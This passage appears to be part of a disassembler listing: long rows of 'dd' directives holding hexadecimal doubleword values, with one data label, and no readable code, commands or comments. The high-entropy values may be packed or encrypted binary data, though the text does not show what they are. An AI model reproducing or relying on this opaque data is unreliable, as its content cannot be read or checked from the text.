3801470Ah, 90092D69h, 1D64C2E1h dd 5FFD2E89h, 29800288h, 0DAFD366Ch, 6A600FAFh, 0DA8F6277h dd 0C108E81Eh, 0E828B31Ch, 7718AF5Ch, 0A2713209h, 0A072C62h dd 756E0163h, 0F15018EAh, 73276C78h, 35034309h, 0DFD8474h dd 487CAC92h, 825998B5h, 5E44E0F4h, 0DC1855F8h, 58686241h dd 43D81B4Bh, 1D9855h, 452D7CC3h, 0E9F799BDh, 8EBC904Fh dd 46A2680Bh, 9F6AB455h, 0FF7242F6h, 0AA826951h, 5D320807h dd 0DF2AAE8h, 19432C02h, 0D527E5E9h, 449089CEh, 4268F00Bh dd 10E35775h, 0A0E0387Bh, 0D99D787Eh, 0D4D42F6Ah, 70A16858h dd 1C77955Bh, 0B204A1E5h, 4C33413Fh, 7F4E853Ch, 816E794h dd 36D539CDh, 0E9750502h, 26EC5625h, 9FDC96E7h, 0BA052095h dd 10394A18h, 38C2EBE0h, 1D845A74h, 0A96512E9h, 5EAB0997h dd 5FE0ABB0h, 82E0483h dd 0EB873798h, 8D5F736h, 52890CA0h, 1A0C6E45h, 8C31513Eh dd 0E32C49E9h, 9A5DEEFEh, 0E1594F58h, 3AB646Eh, 0C0C8935Bh dd 7D71BD51h, 5A320562h, 56EEC5D2h, 40AA3954h, 0BF31C292h dd 1AE92F18h, 53DE68CBh, 0B21FB50Ah, 0BD2C84Fh, 1E0A5627h dd 0CEAC4951h, 3F450E5Ch, 2D7CD6ECh, 0FCDE05B3h, 0B52D5CE0h dd 54722508h, 782F878h, 30C15580h, 0DA943C58h, 86E18100h dd 0F07E341Fh, 0EC1841D4h, 214C13EDh, 220C67A2h, 7F60C9F2h dd 16429860h, 0BF766EBDh, 6F2AD37Ah, 0D19F6712h, 0EA9EBC0Bh dd 845AECE9h, 0EFF02858h, 0EDD751CBh, 8C998432h, 54E1F6CDh dd 0C174EAE6h, 0CB4BF4Ch, 0F244C242h, 4461FC55h, 2AEFA51Dh dd 2E0521E8h, 6DEB36h, 0BE629CCFh, 0C1174069h, 81EB05E8h dd 3E1DD3E1h, 0A86BF9CDh, 75F65A3Bh, 0A2494858h, 9A00CC5Fh dd 2D94413h, 0C32A81AEh, 4613A6A0h, 64C4512Dh, 0DCE0FEC3h dd 9F7FEA68h, 6E414918h, 8F80B84Eh, 4ED5646Fh, 8C8CB173h dd 0BDFF707h, 98BA0252h, 0D142EF26h, 0ECBD5360h, 593C2000h dd 4ECBCD81h, 0E10D5EB7h, 88F4F7B9h, 5F4AFA7Fh, 6E0E48AAh dd 5AB7C620h, 0AF5B5A93h, 50CA7C09h, 0AF5C4BFCh, 7D46FD62h dd 0EF75060Bh, 0B7532FF2h, 2FCE5C27h, 8170EE76h, 46D995EFh dd 5B6C053Bh, 5EC40DC5h, 2D589AFDh, 0E794EA20h, 0D2085317h dd 0CD702FE0h, 896E59BDh, 2E162948h, 1EA06120h, 15C8215Eh dd 0CA5A81B5h, 0CA680999h, 0C0761A33h, 2C280BC1h, 1A407BF3h dd 0A92B0D0Fh, 6F17C2D7h, 2AF62CEFh, 2F51B797h, 48EA8085h dd 668002AFh, 9760A868h, 0C69F27B7h, 981A2024h, 0BBA50FCh dd 3958710Ch, 9ACC2E40h, 0BDB96952h, 60172054h, 9A207664h dd 0EE5890BBh, 0F7E91226h, 0B6A061C1h, 103339F9h, 5E2AC2A3h dd 736818EFh, 9E035D47h, 1209BF80h, 1354237Eh, 31E2A14Bh dd 4F403061h, 0C7ECA09Dh, 4CA28549h, 5F3FC635h, 4D1A94Ah dd 1FCB3E4Dh, 0A9C23080h, 0C4984F42h, 0DBBFE9E9h, 76AE02Eh dd 0D0F3FC6Dh, 1C600832h, 698458F0h, 20FB5E7Fh, 7C172A87h dd 4700282Eh, 333C0DC1h, 0E9EB1729h, 4D724E52h, 0FF3B86C4h dd 0CF583140h, 0B63156C6h, 4FF309FFh, 0FE161977h, 0FE5204E6h dd 880E5CB2h, 0F073407Fh, 554AE98Eh, 0FAB71717h, 10FEA65Ah dd 8F419FA1h, 7B1CAC6Eh, 7F86D75Bh, 5C60BC0h, 0ADDE498Bh dd 7FF0209Ch, 4FFEA1B6h, 8FD6BAC6h, 888A7720h, 4C627068h dd 0D91F6469h, 48F201ECh, 6A5B2024h, 680B399Bh, 0B4FD56EFh dd 0BAE92647h, 2069A5C3h, 3B2C650Ah, 0CA358D87h, 0BE9DE60h dd 410ABCC0h, 9E312768h, 3B600D4Bh, 3095DDF6h, 0D0489925h dd 3E56A94Fh, 1E6F925Dh, 14786754h, 819F549Dh, 0BBC5626h dd 3A0920h, 2970346Fh, 491FE9FBh, 776F12B7h, 683E41ECh dd 8B856EBFh, 0E76F6850h, 61F9BCB3h, 2831D868h, 0B818C6A5h dd 0A0BD1E20h, 13B850Eh, 1619B9EBh, 8042E157h, 0D5634968h dd 0F22DB06Ch, 25D89497h, 9A660ABFh, 8876FEBFh, 2E283280h dd 0DEB74E90h, 0FA5A120Bh, 0AB124A65h, 76E93930h, 6F759444h dd 0B550B829h, 723E5EBDh, 6AF1AE41h, 7362A68Dh, 4086B840h dd 8500B919h, 810E1A07h, 2D315DC9h, 0DFD2625Fh, 0AC3C78DEh dd 30004F78h, 31B5DD2Eh, 5C1998D1h, 0F803D3Bh, 5F064D7Ah dd 59B744AEh, 48DBA0C0h, 0CA203755h, 0ED99CAA0h, 4CE2B0ABh dd 4B7C6A78h, 0F11A1C2Dh, 90EBBFACh, 106F4277h, 0D637C0B5h dd 0D671E5Dh, 497CD35h, 0BBC0FAAEh, 70E2685Dh, 1C779761h dd 0A322BDD8h, 1DF43DEBh, 0E20C57AFh, 4102B20Ch, 0CEE96819h dd 0FC13D733h, 81A19BC1h, 7388EF71h, 98ED45DFh, 0BFA0127Ah dd 0C1D21DA2h, 2E1F7054h, 5FDE7069h, 67EAFD5Ch, 5FFA4609h dd 744963F1h, 0B80B17BBh, 202212B3h, 429660FEh, 47764941h dd 9240F305h, 5AE67A4h, 98FCBC1Bh, 8655719h, 0FB10E099h dd 1CB41398h, 2C2E7B0h, 0E9403549h, 87003B7Ah, 0DED1F7CEh dd 5B9FC908h, 2B7B75h, 430A6853h, 0D3FF169Eh, 2A118479h dd 7138516Eh, 0DCAAADC1h, 0A4443A0h, 9AB81603h, 0D1A9947Bh dd 0B32B33BBh, 366D1328h, 975329FBh, 45BAC30Eh, 0BF56E9ECh dd 34AEB585h, 80DBA2ACh, 7BF26857h, 0E9490BD9h, 97723D05h dd 259EC950h, 104258h, 1D150FC8h, 9D1909E9h, 7FB26B27h dd 76104498h, 0F1BC6BE1h, 0A9F6FFA4h, 4B780725h, 0D64DB812h dd 78E1C200h, 77289816h, 5686C241h, 6BF422CEh, 0F78A0A05h dd 0B2B609EBh, 5D947450h, 55E755Ah, 0AED329E9h, 0EAB81293h dd 664E88F5h, 26681140h, 0C32A1A3Ah, 101E16DEh, 1056486h dd 612D4F6h, 2F59E546h, 74C1243Dh, 57F6979h, 6BFCE653h dd 0D49F01A4h, 420F6503h, 91C3088Bh, 369881C3h, 1A90407Dh dd 53964F8h, 0F2C05F20h, 0B504DFDDh, 0EA707C5Ah, 0B07EE495h dd 5804E3AFh, 3C5D32B3h, 0E8A01F7Ch, 0D35B289Ch, 56DF33C0h dd 0BC6A5A2Dh, 910616B5h, 0D688F39Dh, 0BE009401h, 683553B0h dd 23F60381h, 4E52D622h, 626DE6B8h, 3E79DC26h, 73302F06h dd 2594ECC4h, 6476B0CDh, 5DE68269h, 506DE032h, 2FE91257h dd 7797B982h, 1A82264Ah, 0C6C0E04Fh, 1EFC2D0Ch, 5305F4A0h dd 68164901h, 91CC0AA8h, 0F47A2E31h, 5EFA173Ch, 0E2C857EDh dd 2B548462h, 3D9B6803h, 0BAD01515h, 0A879C199h, 0A02E1B30h dd 8D4EE924h, 0E229C00Bh, 0CC907F88h, 0C8BD62A4h, 0CF2CEB45h dd 0F0A05B0Ch, 7CF5355Eh, 0E22DDB28h, 34413D08h, 0CBE124Eh dd 51858D4h, 4221350Fh, 0D1C9A01h, 14171C08h, 0E72720EAh dd 2EE905E3h, 0ACDA2107h, 823B3812h, 0CC721A68h, 7C6B20FCh dd 72BB544Eh, 0BEC6501Bh, 206A1B25h, 14305429h, 0F0F09D21h dd 74BE8FCh, 0E2E7D7ECh, 967A7D38h, 5384942Dh, 0CB298901h dd 62D459D7h, 1B522E53h, 0F53DA201h, 0DA70BB2Ch, 9531D030h dd 0FF6B80F9h, 266B5C0Fh, 0D452BC76h, 171227FBh, 653B0BDDh dd 30780B2h, 2DE96D33h, 27DC2EE3h, 39051D66h, 0F8010E5Ah dd 380E2DEDh, 8414D92Bh, 0D8222DF3h, 8041235Eh, 0E1CC0FC1h dd 9582F610h, 12BF85EEh, 655C55C1h, 0C810FB00h, 0BAA1E946h dd 0C7891217h, 831358h, 59AFE764h, 560021DEh, 3A4237BEh dd 30F73163h, 0BE9D5E9h, 85180FDBh, 50109AB0h, 82204D68h dd 0C2290993h, 0CF2040E4h, 82BD0416h, 0AB75394Eh, 9860D9A2h dd 47902C7Ch, 972378B5h, 0D2201A96h, 0EEB0F253h, 64E14EC7h dd 0F2B4D1ADh, 0C61E0430h, 48D0F7C7h, 3502E060h, 538E00D8h dd 0E9C629B2h, 0D59724DBh, 2E2E3619h, 0BCE3BF12h, 0F8C9E9C3h dd 0F7F23507h, 5B4E31D6h, 3ACCF909h, 0A0101466h, 8F91D25Ch dd 8005E4FFh, 0D6AEA60h, 15A800Dh, 806F0FAh, 81F040Ch dd 0C2534B43h, 0A25D4806h, 0DD3109D1h, 698BA7C0h, 1F99449Ch dd 0E03FF759h, 270FB651h, 2091452h, 40EAC15Bh, 51FE24Eh dd 0E92C1D75h, 5AA9F0B7h, 0F7E75F4Bh, 21708951h, 7D370CBAh dd 6444EE5h, 4260E998h, 3BF28166h, 30603057h, 7C87E961h dd 2CB45D97h, 0C9ADE918h, 2FACB522h, 64F6EF30h, 8BFB989Ch dd 45F828D6h, 0E8D03D08h, 69E92713h, 2E53AFC1h, 95A0B5E8h dd 5E50CF60h, 0A00BF2A1h, 7C0ADA43h, 0DBF70B94h, 23396180h dd 71905415h, 0EC51431Dh, 25A15254h, 4BA511Bh, 9011B56Bh dd 2DD8F71Eh, 7E68D701h, 2F04E97Dh, 9D88F534h, 19B14A98h dd 0E9D1F605h, 0C8FFA7E6h dd 559C4BFFh, 5209450Eh, 0A8F37801h, 0B538B752h, 0A8468A24h dd 4D730FDAh, 80F24F26h, 727CC75Fh, 4584A24h, 0A05FDB09h dd 4E94689Bh, 15554D49h, 3F0CB896h, 0B6B193EFh, 0CAC11400h dd 0E2019355h, 837FB8F9h, 0ABC8AA08h, 4D0A00F2h, 0FD18661Fh dd 4E30AE75h, 0D9059DA0h, 2D3CB943h, 0F3E0005Bh, 1057BACAh dd 0B0D90175h, 0B602E983h, 14B84455h, 0AD541854h, 7FB753EDh dd 0D0564AF5h, 942BC4F1h, 3790644Eh, 616217A2h, 7595B640h dd 0BA9FB24h, 56C51003h, 994F0B18h, 0EC89E801h, 0DA1AA55Fh dd 1C30EF00h, 48C14D70h, 0CE007FEEh, 218464F3h, 0C9B765E9h dd 79DCE569h, 5364BD46h, 0B0886424h, 0FEFA9239h, 0D12F81FAh dd 429683E1h, 166837Bh, 0BEB3B80Ch, 7B5E5156h, 75874B21h dd 0A166AB07h, 9D945161h, 89C80F17h, 495E30F1h, 13B6C9DCh dd 0D2C78C4Fh, 75FD3282h, 0D5129B79h, 685A3DC0h, 0A14CBF5Ch dd 0D4342827h, 48D7E91Eh, 9D405044h, 54577A1Ah, 74E9D847h dd 6634364Ah, 5F525CE0h, 0AA38566Ch, 0D4298CC2h, 4810096Fh dd 0B04BAEF2h, 9D756BFDh, 73AD6559h, 33E98BD1h, 3C9873E8h dd 89460C0Bh, 0FF85FDD6h, 8F33EF4Fh, 0C8CA4A80h, 0E65E88D1h dd 0E5C57B33h, 6ED699BBh, 13158A80h, 0A0099E56h, 0EE91808h dd 0E5BF30B9h, 0D363E1Eh, 104B4A8Bh, 2A08AD45h, 0F2FA8891h dd 21E409C9h, 0A7FC7161h, 41D87BCh, 0DC8318C0h, 0F23B014Fh dd 688B38DBh, 82CABC09h, 0C93D15F6h, 0DC80801Bh, 2725C74Dh dd 9E89F4E9h, 68F72B09h, 4D286815h, 0A910925Fh, 0FF593D4Ah dd 0CF262F5Ch, 16133E52h, 51AD3A60h, 0B2A924B5h, 59EA050Eh dd 4F2DA628h, 3049B180h, 615782FAh, 0C212D01Bh, 7EAC000h dd 3BB33B53h, 0E3E2EB31h, 29E74302h, 209C0616h, 0AE1847F8h dd 3B74B5C8h, 61C9CCB7h, 0B1830698h, 88F9C122h, 27FBA830h dd 0D202CB5Dh, 306A4813h, 515235D8h, 0BFCFA056h, 5C073603h dd 44FA2925h, 7E81ED2Ah, 0B0781DEBh, 3C78182h, 7F40AE4Fh dd 813C2D4h, 0FAE004AEh, 0C1410FB2h, 6A08F2E1h, 9C13C70h dd 32934D7Dh, 4095E000h, 895F1EDCh, 725068E9h, 8F67129Eh dd 8E03E966h, 833E899Fh, 2B1070Ch, 4099BB5Ch, 527D4446h dd 87211695h, 5736217Ah, 31D7F08Ch, 0E3E9DA0Bh, 20B29D1h dd 4A488E57h, 20E172F3h, 0EAC1A08Fh, 64B142DEh, 41295A20h dd 0F83FD471h, 2D5F4998h, 0FF4963F9h, 0F519A897h, 4F4992EFh dd 5374A1FDh, 0DBC07168h, 67E92D11h, 8F66E040h, 670CE0CCh dd 1E460AB9h, 19C628Bh, 0F9341CA2h, 1B916049h, 714CE2E2h dd 46DA076Ah, 0C1323EA0h, 0F69240E6h, 243718B8h, 6D5F0C1Eh dd 508A1127h, 0ADD2C4A8h, 6A091363h, 68682277h, 68125CBBh dd 0D6400C5h, 0EBC144DBh, 0D0D10239h, 0A102C5ABh, 0DEE9091Dh dd 28D8D14Dh, 0F9144EBEh, 215B81ACh, 186B5635h, 0F44D109Eh dd 0D0317A17h, 0B35827F8h, 0E96A2D04h, 0F9D1E4E5h, 9CB3664Dh dd 0E25BB290h, 0CC13241Fh, 0DDED8189h, 4E84E829h, 0C68005AEh dd 8B36B181h, 33B12D00h, 35186C01h, 0AD78C04Bh, 0B8C6C16Bh dd 0C7FF8815h, 2C123D1Eh, 2060F5E2h, 143E06ABh, 2AB3192Eh dd 0BDDCE3EFh, 0E55DC23Eh, 5DD6F09h, 0DC0D52Ch, 0BC28106h dd 5B200250h, 73E2D790h, 0AD252428h, 0B9C0E41Fh, 4D092992h dd 11F4A74h, 0E235589Ch, 974AD1C0h, 0EA12BDFEh, 5FADD85Fh dd 1C4BD414h, 0AE7556EFh, 895DCD42h, 7AF6D0F7h, 6EE82697h dd 0AADC27C6h, 8DDDCADh, 5627A749h, 0A684CF60h, 5E86141Fh dd 0FE4453ADh, 13F42F67h, 89347FD3h, 41BCFDD5h, 4F70A6D6h dd 0EA4A12FAh, 78518AF5h, 0EA6D45A4h, 497BF4Bh, 5F01C9CFh dd 498C9EFBh, 30780B0Bh, 0F321FEF6h, 4E4CC42Dh, 4483074Dh dd 0F760375Ah, 9FF252E4h, 12F31A01h, 1805FBB2h, 4F595441h dd 0A960FF82h, 3A2457ADh, 62CAAC7h, 3B651231h, 0F300EE13h dd 534727D2h, 29596D1h, 0CD8F9C64h, 581738F6h, 0F7D262BBh dd 87513E56h, 0A39AE83Eh, 5ED53B0Eh, 0A788CB25h, 9840BC8h dd 51047CC6h, 0CF8811B1h, 9CFCF0C2h, 0AC3258E2h, 0EE3EF783h dd 8952EC0Eh, 2D8257FAh, 637F4A75h, 0F67CF951h, 0AA5D566Bh dd 1F56F161h, 0C0DF2902h, 5C08684Bh, 9C19E4DCh, 0FBED65D3h dd 6E25C8F9h, 5D16F1EDh, 0F42EBE51h, 6CD9840h, 0BD6FBF6Ah dd 0E92D0BC9h, 0A256E215h, 88F57F15h, 8D3CF38Fh, 902A344Ch dd 74B4AD6Bh, 0C1913860h, 7B56C503h, 17BE4DC3h, 0C468AC05h dd 0B7E98C60h, 80D7F6C1h, 0B96EDE7h, 951009F7h, 76BF69D0h dd 0CE1439Eh, 8BC7C53Ah, 0F87AF526h, 969924E5h, 0E0ED0005h dd 292FF02Dh, 0C551FD7Eh, 0F7E86E08h, 5017DCB1h, 52B568ECh dd 0E4744DAAh, 0E67F0400h, 4172E967h, 0CDBD3F07h, 0B9CA179Eh dd 0E2F78B1Eh, 0F35B5592h, 4620550Bh, 822EFA16h, 7E7B2D57h dd 93A4B06Fh, 88FFC64Ah, 0F45B74F7h, 0A54F8DCEh, 3930ED62h dd 57C225ACh, 82F7FCE2h, 702C1FCh, 0E11E6442h, 89F62EE2h dd 9325E9C4h, 69B2687Dh, 21621FF6h, 0A97809A4h, 0F845BF12h dd 0AEDF85EAh, 0E6BA0152h, 127FD01Ch, 0B2BECB6Ah, 27FCD387h dd 0CDF5B1h, 0B80D5F6h, 0E83016EDh, 0C3E58B74h, 106473F3h dd 0FCFDBE50h, 0A38DA04Eh, 9E477140h, 9A38BAFBh, 0EA960F97h dd 0BBEA7181h, 43C5FD6Ch, 90DEBC0Eh, 13B20C8h, 55597FBEh dd 32F30142h, 9DE9C732h, 0D45329EBh, 0D605A5F9h, 1DB9F8FBh dd 0D9F95756h, 0A2492C20h, 63F29A17h, 0B20842D3h, 0DEC3889Fh dd 53223629h, 3B3C6D0Ch, 120AFAC7h, 0AC291FE5h, 5A084076h dd 0D9212AE3h, 0EF042D13h, 9ED58A0h, 9C1A6EE2h, 19122300h dd 0BFA12F18h, 0C65B812Ah, 2E9F7320h, 4158AC2Ah, 60276108h dd 0A8C522D6h, 0A408F1B1h, 0DD010B1Bh, 42ED3681h, 0CDC2C75Bh dd 0CBE07C5Dh, 273F9ED5h, 255ED4E9h, 70BFDC27h, 54650AE9h dd 0DF0AFD67h, 8889CFDEh, 1431D8E6h, 0E41C045Ah, 0E5A02C25h dd 737B7597h, 8D936CC2h, 82CC62B3h, 0FDC62965h, 0D09F7414h dd 98B52E9Fh, 0F85F6515h, 8D2E3F09h, 80E96B50h, 0DEBB2083h dd 0C0171B4Fh, 0F259268h, 669C50EEh, 0DE04BE5Fh, 28EB08F8h dd 4A5B6822h, 503AE4Fh, 0D8AD7007h, 5D2A138Ch, 2A4674B5h dd 2C557EECh, 0C0593E48h, 0EA629A68h, 11201D90h, 0A73A9575h dd 0F371158Bh, 43E6F40Dh, 941F47D8h, 0A2F54BD7h, 0F2BB46Bh dd 0E794BB7Dh, 62812B6Fh, 7D7C6347h, 86C30352h, 11E2528h dd 0A7A5ED0Ch, 7ED82143h, 0BEB4F5A2h, 6812E2E9h, 735DF4E6h dd 975EA440h, 0BD9F96F7h, 20425654h, 0BD5FC0F2h, 41771646h dd 7010004Bh, 9EF28E8h, 0E940D4C1h, 496FF8AFh, 0FD844E65h dd 0BD680233h, 79B05624h, 4BBB415Fh, 731224Fh, 37465E74h dd 76D55DB3h, 4314B53h, 0E3CC882Fh, 0BD803953h, 0E9E78537h dd 9DAE2386h, 7043EEEDh, 9FBB3A4Ah, 0B850019Dh, 4A656B72h dd 7CE0802Eh, 291E4742h, 76D2E9C8h, 0F4EEB090h, 78D12F4Ch dd 1795F7C3h, 0B1F5E808h, 3B8B80A7h, 0C6767568h, 56505560h dd 9A6C70E9h, 57451F8Dh, 664E9818h, 5B301989h, 3DB70C0Fh dd 0CFC48BDh, 0BE27E93Fh, 2EC520C9h, 0DF09FB5Fh, 44595792h dd 62746850h, 3872A173h, 886EE556h, 2A62271Eh, 0F4BEBF02h dd 0BEE510Bh, 54FC499Ah, 0EDD04CBh, 59F0BE12h, 0AE17BEA6h dd 58555A25h, 266002BFh, 7C0115C9h, 206CF15Dh, 0BE5F480Ch dd 4CB4881Ah, 84934E59h dword_52C4EC dd 0FBB412EEh, 0E05E008Ah, 9A40A26Ch, 3F16B55Dh, 31D2CE4Ah dd 94587DEAh, 48A35D5Ah, 68C90B18h, 66BD6408h, 0E42C20AAh dd 1B68AD16h, 4AD981E4h, 15EAB315h, 4EFC7B45h, 0D72F8AAFh dd 0F9EEAE34h, 606524B7h, 0BA6DA727h, 0BC0B60FAh, 279CFF18h dd 68EC8A9Fh, 0F1F1303h, 43F1B825h, 25BDB894h, 94F058C3h dd 6804FC9Bh, 1EB22C1Dh, 0EF64AF5Ah, 25E977E0h, 34762891h dd 52B8614Eh, 0E17B122Ah, 86129CD7h, 0E13D460Fh, 250DE6E7h dd 1CFC6F71h, 0FD2913A9h, 0F255E031h, 0A401C280h, 0FBEA268Ah dd 18201931h, 5C842ADEh, 2E68B1EFh, 173097B5h, 0CCB84A5Dh dd 67E8F592h, 0CA9A83B8h, 0CD0354F0h, 16E99279h, 592C2949h dd 0F83009B5h, 761E167Dh, 2CD760E9h, 0EC59A2B9h, 38D10E4Ch dd 38EB4F2Eh, 0C8B7218Ch, 0B95456C3h, 0F33CC267h, 0FEB5FFE4h dd 5E590926h, 0E9B4B8F7h, 2BE26140h, 0CD3994F2h, 0EC07F3Dh dd 25842908h, 0D58831DEh, 3E785034h, 12F56880h, 41D5631h dd 1D3BEC9Dh, 8FE4C089h, 0B2FC3799h, 0B6520107h, 8E6C2B0h dd 91BF4157h, 59D9EED5h, 762E16B7h, 0D70C0650h, 0A10A0CE9h dd 0EFFC09C7h, 0CE85FD7Fh, 41B0470Fh, 80908353h, 0EDF72707h dd 89D25243h, 49C451FBh, 7EFA71E0h, 0CFAEC182h, 0ABE4132Fh dd 38253D2Bh, 8CA0DAAh, 0BE0732A8h, 446751A6h, 0C64716AEh dd 6B75B0B1h, 3263AF54h, 7F560DA1h, 1C596AF9h, 9DF3BAA0h dd 0EC5EF4ACh, 548F6880h, 641DC279h, 87950A38h, 71C43F44h dd 0C1C2EC07h, 351917E2h, 98406C68h, 52A95A2Ah, 16A80B00h dd 0A48EBF89h, 3C220DB7h, 3A7CFD67h, 0E982F7F2h, 0CB92D0F2h dd 4FC6CB7Fh, 3ED2F90Ch, 21E90929h, 2DDA68A3h, 0CCD39778h dd 0C956E986h, 13120F6Bh, 5B4927F5h, 18BD55D0h, 0B3736838h dd 2C762DA4h, 5C350425h, 0D2D9F3AEh, 75A1ED2h, 0C58090B5h dd 0ED3EC09Fh, 0EBCDBC08h, 0DC425D1Ah, 314FE457h, 2C1AAB77h dd 2EE5DD1Dh, 7D2D2A0Bh, 61D15163h, 9148B9Bh, 0ECC216C5h dd 1D6C09E5h, 8B80429Eh, 6BF3B52h, 0B9025F9Dh, 88E83634h dd 68075651h, 4DC2527Ch, 0A47FDE8Bh, 43C60155h, 0D87E5B1Fh dd 0CC16C4F6h, 0E00F3098h, 4870B01Ah, 0BC4B9ECBh, 80EC0779h dd 630E5EC3h, 4CD981E9h, 0B904A924h, 0BFDE3EB2h, 5EC25A09h dd 0E768500Fh, 0ACBC705Fh, 9C7E71C0h, 0C12C5B40h, 0CB0194EBh dd 0C35213Fh, 0BC0AE0DAh, 717C7417h, 1C7F9736h, 0F0682D33h dd 0FC0989DBh, 2A59225h, 5E34ABC3h, 13A2A68Ah, 646B84F0h dd 71B7FBECh, 6DD668C2h, 45CF74D4h, 8BBB1753h, 0D0E9098Ch dd 0C309A439h, 0AA6E95FEh, 48766405h, 0F04BEDF2h, 0EC2DD612h dd 4C90D7FEh, 539F7801h, 497BADE1h, 689CD52Fh, 5DF07824h dd 2CEE5092h, 77403137h, 0F0202B9h, 0C1013CA8h, 956D1B40h dd 943FBB81h, 2A06FAD3h, 0F3301A0h, 13F6752Ah, 0A342B449h dd 0F873A905h, 53580768h, 0DC25EB88h, 0A44806EEh, 96EC8DCCh dd 0D60CAFFFh, 7CE762AFh, 9FB19477h, 0BA7B4AF6h, 0F45E04B6h dd 2D41E052h, 5456EB60h, 98D98E15h, 82455ABEh, 607521A1h dd 17BAE3F6h, 871FB631h, 0E363FA5h, 1400F3B6h, 0D9894080h dd 0CA9AE93Ch, 9C0CB128h, 0B8ED0997h, 5AB494FFh, 5E5A88B2h dd 7B5AE5EEh, 0A7FEF684h, 0FB34E74h, 852FE909h, 0F2620974h dd 0A9B0774Fh, 990BBE56h, 0D818FF11h, 107D3DFh, 8E673BB8h dd 6B66A403h, 83150E0Bh, 0D214ED4Eh, 0F1256148h, 9A77CEA5h dd 3E4D77FDh, 0CEBF5E2Fh, 363EEBEDh, 5AD112EDh, 0FBD397ECh dd 8DEFA413h, 3F9249F9h, 2DBF6744h, 2F93CD40h, 6E906FC1h dd 4E2EFA02h, 0F4F4E90Bh, 0ABD62FD0h, 49F36850h, 69846275h dd 9BBD01F0h, 5A700B39h, 8389B7DCh, 0D1BCDFC8h, 0B8D6F780h dd 251C4AF3h, 1B2BF66h, 4B12594Ch, 0A7E0FCC0h, 0A2FD44C5h dd 9676BB4Eh, 0BC68134Bh, 0F1406106h, 2E31034h, 0B59DF252h dd 94DFE50Bh, 0B6681405h, 9851F50h, 5931BB1Fh, 5C575C7Ch dd 9147C735h, 7F922D93h, 0EC165729h, 0C153F497h, 6E710E68h dd 7330B0D9h, 5DB64FD2h, 14BFC9Ah, 95E5870h, 803C63C2h dd 26D37AF2h, 22789D46h, 36853CA0h, 0D5AEF662h, 0E96675A7h dd 0D7F1F728h, 0DFE41AAh, 41924E07h, 5EFC8FB2h, 188989BCh dd 0B2F5DFC0h, 49087818h, 4BE390Ch, 0CBE9BB3Eh, 9E55ECA8h dd 73E55009h, 97123D79h, 8988FB20h, 7E2B7E7h, 7200DC77h dd 60C55C7Dh, 57726853h, 1788C6BDh, 0FD31C9E9h, 0B2954F74h dd 82C8F1BEh, 0A13A3D0Ch, 74F8F505h, 0FC020882h, 0BF00261Eh dd 3BC46B2Eh, 723EB871h, 0DEC075AFh, 71BFA7E8h, 5BD8420Bh dd 80EE5BFDh, 47356857h, 5F01774Fh, 1086CF81h, 3E833155h dd 19185B48h, 82929403h, 9829B7DFh, 928B03E9h, 8E5B4FACh dd 79B7CEEh, 9EC9D549h, 312EC723h, 7E252BF2h, 0F480492Ch dd 0F67B89C2h, 0CA0929FEh, 5FD5ACE9h, 5D97251Ch, 9EF4F05h dd 0DB755FCBh, 205C8983h, 0CA4AD6E9h, 9E97A09h, 12AF3B2Fh dd 0F76030F9h, 0D26A4A5Ah, 41D404F6h, 0C98101A3h, 38C558E8h dd 17935B30h, 16AEF15h, 461A2E80h, 86E6D81Fh, 437CECEAh dd 38F8CE05h, 8CC04413h, 0BB94965h, 0BCC6E91Eh, 0F97579A9h dd 0AA5713B2h, 2392D2E6h, 0F8D4B425h, 2AEA7ACh, 80649F20h dd 1A3A8BE2h, 9843714Ah, 0E30995DCh, 0C69635C5h, 56884BFBh dd 1B4ADD02h, 20A383C4h, 9FF36B02h, 0D520ED74h, 0C021064h dd 0E91C7165h, 174AF02Ch, 8C01D568h, 514102EFh, 8E20A521h dd 6A5E8134h, 0F15B51E0h, 958C3DECh, 808901D6h, 8924D426h dd 6A1090BBh, 6C01127Ch, 2903054Fh, 9EAC5BEDh, 0E2842782h dd 1D42B056h, 424AEEFEh, 712F6C4h, 93C65013h, 0AA484E58h dd 0E07C5F4Bh, 14BABE85h, 0E14FBC42h, 0A02D7B07h, 0B3EE6018h dd 0CC4ADA9Fh, 4E7EDAB0h, 1E988C2Eh, 7658E86Ah, 9A0408CFh dd 1C7F1F0Fh, 0E9144074h, 2472B035h, 95ED31F0h, 29120ED5h dd 73B5765Fh, 0AAE94284h, 9D5F6E59h, 0CA4079C2h, 679D90DCh dd 0ECD11792h, 0DE8402B6h, 0FC3103BEh, 13B5AC7Fh, 76D6CC11h dd 885983BDh, 580DFAFAh, 0E7803C38h, 2BF70973h, 9C5CF908h dd 826E4A58h, 82FDA282h, 2E4C000h, 4EC43980h, 93AEEA4h dd 0C728AA0h, 336D3B13h, 5ECF3F01h, 0E9C86E6Ch, 13759416h dd 0B9B2EB05h, 5AAEEC97h, 403A878Ch, 78BF5393h, 1B880F22h dd 0BAA4221Fh, 249F8AE1h, 2E080551h, 14661EC2h, 0B877BB80h dd 409D40FDh, 535D0D07h, 7DB23191h, 0DC7772Fh, 972A7827h dd 332E3CFFh, 0EB87B73Eh, 733177A0h, 0CAB4E1F6h, 1DD8BE0Eh dd 804E4CC9h, 636EE71Ch, 87E91002h, 57512758h, 0E94185C5h dd 243EABFAh, 0F167B57Dh, 0A0EB04E4h, 525AE6C0h, 31C18BFCh dd 0D021149Dh, 40EF59CFh, 23235AFh, 2710F33Eh, 303E74C2h dd 56CBF2C0h, 8D253B2Eh, 0E6D72C18h, 0CC291AF5h, 4A568439h dd 26FB5092h, 0DC73A1D8h, 64685381h, 21BBCA3Dh, 0D5935C0h dd 0D5292D0Bh, 0E918521Ch, 5C0A0ECEh, 85C1DE66h, 0BAFEE654h dd 946ABF2Dh, 0A2DABFFDh, 6A9CB902h, 0C85F0D5Ah, 13111555h dd 0EE51300Fh, 40BA9AD6h, 1827883Ch, 894F158h, 3B289E2Fh dd 0AF63BB0Fh, 93786D4Fh, 0F1623E8h, 0D53106ABh, 0AE071F85h dd 8B764A39h, 42E9F704h, 0A5B3D17Ah, 0B416382Ch, 565989C2h dd 25F4DAC5h, 0D262976Ah, 28830A27h, 0AD0CD72Ah, 4B7EDF22h dd 895DF707h, 4C62057Fh dd 5B0F1B05h, 0C99F5EECh, 0C856185Ah, 0BCAA5644h, 4537B2E3h dd 2C1831C5h, 0EBF0C1DCh, 236866A0h, 0AF4B487Bh, 0BBB9EBC0h dd 499A2F59h, 0AD2C405Ch, 2703A708h, 0FB213BDEh, 6EB6860h dd 0E9081D28h, 6FDDA437h, 0FFB9A504h, 0D87CE089h, 0B33A15Ah dd 0D0885CAh, 4A7E4FCFh, 25AE80E5h, 